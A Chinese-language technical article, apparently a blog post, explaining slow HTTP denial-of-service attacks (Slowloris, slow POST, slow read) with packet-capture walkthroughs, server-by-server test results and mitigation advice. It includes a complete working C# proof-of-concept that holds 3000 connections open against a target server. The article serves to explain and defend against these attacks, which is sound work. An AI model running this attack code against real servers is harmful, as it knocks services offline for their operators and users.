提起攻击，第一反应就是海量的流量、海量的报文。但有一种攻击却反其道而行之，以慢著称，以至于有些攻击目标被打死了都不知道是怎么死的，这就是慢速连接攻击。
slowhttptest是一款对服务器进行慢攻击的测试软件，包含了几种攻击方式，像Slowloris、SlowHTTP POST、Slow Read attack等。
总而言之，该工具的原理就是设法让服务器等待，当服务器在保持连接等待时，就消耗了资源。
1、 最具代表性的是rsnake发明的Slowloris，又被称为slow headers。
【攻击原理】
HTTP协议规定，HTTP Request以\r\n\r\n（0d0a0d0a）结尾表示客户端发送结束，服务端开始处理。那么，如果永远不发送\r\n\r\n会如何？Slowloris就是利用这一点来做DDoS攻击的。攻击者在HTTP请求头中将Connection设置为Keep-Alive，要求Web Server保持TCP连接不要断开，随后缓慢地每隔几分钟发送一个key-value格式的数据到服务端，如a:b\r\n，导致服务端认为HTTP头部没有接收完成而一直等待。如果攻击者使用多线程或者傀儡机来做同样的操作，服务器的Web容器很快就被攻击者占满了TCP连接而不再接受新的请求。
【工具演示】
用Wireshark抓包查看http请求头中有随机的key-value键值对，如下图红圈所示，且http请求头结尾不完整，是“0d 0a”
如果是正常的http请求头，结尾是“0d0a 0d 0a”，正常结束客户端请求 如下图所示
2、Slowloris的变种--Slow HTTP POST，也称为Slow body。
【攻击原理】
在POST提交方式中，允许在HTTP的头中声明content-length，也就是POST内容的长度。
在提交了头以后，将后面的body部分卡住不发送，这时服务器在接受了POST长度以后，就会等待客户端发送POST的内容，攻击者保持连接并且以10S-100S一个字节的速度去发送，就达到了消耗资源的效果，因此不断地增加这样的链接，就会使得服务器的资源被消耗，最后可能宕机。
【工具演示】
用Wireshark抓包可以看到，header结尾是正常的“0d 0a 0d 0a”，但Content-Length字段设置为一个很大的值8192，同时不在一个包中发送完整post数据而是每间隔100秒发送随机的key-value键值对。
3、Slow Read attack
【攻击原理】
采用调整TCP协议中的滑动窗口大小，来对服务器单次发送的数据大小进行控制，使得服务器需要对一个回应分成很多个包来发送。要使这种攻击效果更加明显，请求的资源要尽量大。
【工具演示】
用Wireshark抓包可以看出，当请求a.wmv资源（大小有9M多）时，客户端windowssize被刻意设置为1152字节。客户端缓冲区在被来自服务器的数据填满后，发出了[TCP ZeroWindow]告警，迫使服务端等待。
受到以上各种慢速攻击后，服务器再无法访问
1. 关于HTTP POST慢速DOS攻击
HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上，由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里：
这个攻击的基本原理如下：
针对任意HTTP Server，建立一个连接，指定一个比较大的content-length，然后以很低的速度发包，比如10-100s发一个字节，hold住这个连接不断开。如果客户端持续建立这样的连接，那么服务器上可用的连接将很快被占满，从而导致DOS.
这一攻击引起我注意的原因有这几点：
1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的，所以即使你的Web应用没有可用form表单，这个攻击一样有效。
2. 廉价。在客户端以单线程方式建立较大数量的无用连接，并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server，将是致命的打击。更不用说结合肉鸡群做分布式DOS了。
2. 攻击示范
为演示这个攻击，我做了一个简单的POC，C#代码如下。
- using System;
- using System.Collections.Generic;
- using System.Text;
- using System.Net.Sockets;
- using System.Threading;
- namespace HTTPPostDoS
- {
- class TestDemo
- {
- static void Main(string[] args)
- {
- string host = "target";
- int port = 8080;
- int max_number_of_connection = 3000;
- List<TcpClient> clients = new List<TcpClient>();
- for (int i = 0; i < max_number_of_connection; i++)
- {
- TcpClient client = new TcpClient();
- clients.Add(client);
- client.Connect(host, port);
- if (client.Connected)
- {
- string header = "POST /a HTTP/1.1\r\n" +
- "HOST: " + host + "\r\n" +
- "Connection: keep-alive\r\n" +
- "Keep-Alive: 900\r\n" +
- "Content-Length: 100000000\r\n" +
- "Content_Type: application/x-www-form-urlencoded\r\n" +
- "Accept: *.*\r\n";
- int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
- if (sent <= 0)
- {
- Console.WriteLine("Error while connecting to server");
- }
- else
- {
- Console.WriteLine("Connected");
- }
- }
- }
- while (true)
- {
- int i = 0;
- foreach (TcpClient client in clients)
- {
- i++;
- client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
- Console.WriteLine("Client " + i + " just sent a byte.");
- }
- Thread.Sleep(1000);
- }
- }
- }
- }
这段代码向目标服务器的示例Web Server发起攻击，每秒钟向服务器post一个字节以保证连接不会过期。
这个攻击对Apache的效果十分明显，Apache的maxClients几乎在瞬间被hold住，浏览器在攻击进行期间无法访问测试页面。
但是针对IIS的攻击被证明没有效果，同时我还测试了公司使用最多的Jetty，有了更多有意思的发现。
3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应
在针对Jetty做测试时，我发现针对不同的Jetty Connector配置，攻击的效果有天壤之别。
我们知道Jetty在配置Connector时，可以有NIO和BIO两种模式供选择。当使用BIO模式时，Jetty的max thread被瞬间耗尽，服务停止。但是在使用NIO模式时，即使客户端的恶意socket连接数已经达到3000个，但是服务依然没有受到任何影响。这个应该很好理解，由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚，但是猜测MS在实现时采用了NIO Socket模型。
详细的配置情况，请参见Jetty的官方文档。
其它的Web Server，我没有做进一步测试。如有兴趣请自行验证。
4. 检测与防范
目前针对Apache服务器，官方尚没有解决方案出台。建议：
1. 检查日志，查找类似的错误报警：
[error] server reached MaxClients setting, consider raising the MaxClients setting
看看有没有被这种攻击盯上。
2. 调整防火墙设置。有条件的，在IPS上做一下规则设置。
注意这些都还只是暂时措施，因为这种攻击的变化可能很多，事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。
针对Jetty服务器，强烈建议使用NIO非阻塞模式，对服务器可以起到很好的保护作用。
相关阅读：
1. New HTTP POST DDoS Attack Tools Released
2. Wong Onn Chee 和Tom Brennan的Paper
3. Using HTTP POST for denial of service
补充1：我的同事，Active安全经理Eric Zhong和应用安全工程师Vian Ma对此文有贡献，谨此致谢
补充2：凤凰网的孙立先生指出，微软的IIS实现了完成端口(IOCP)，IO效率相当高。这解释了为何此攻击对IIS无效。
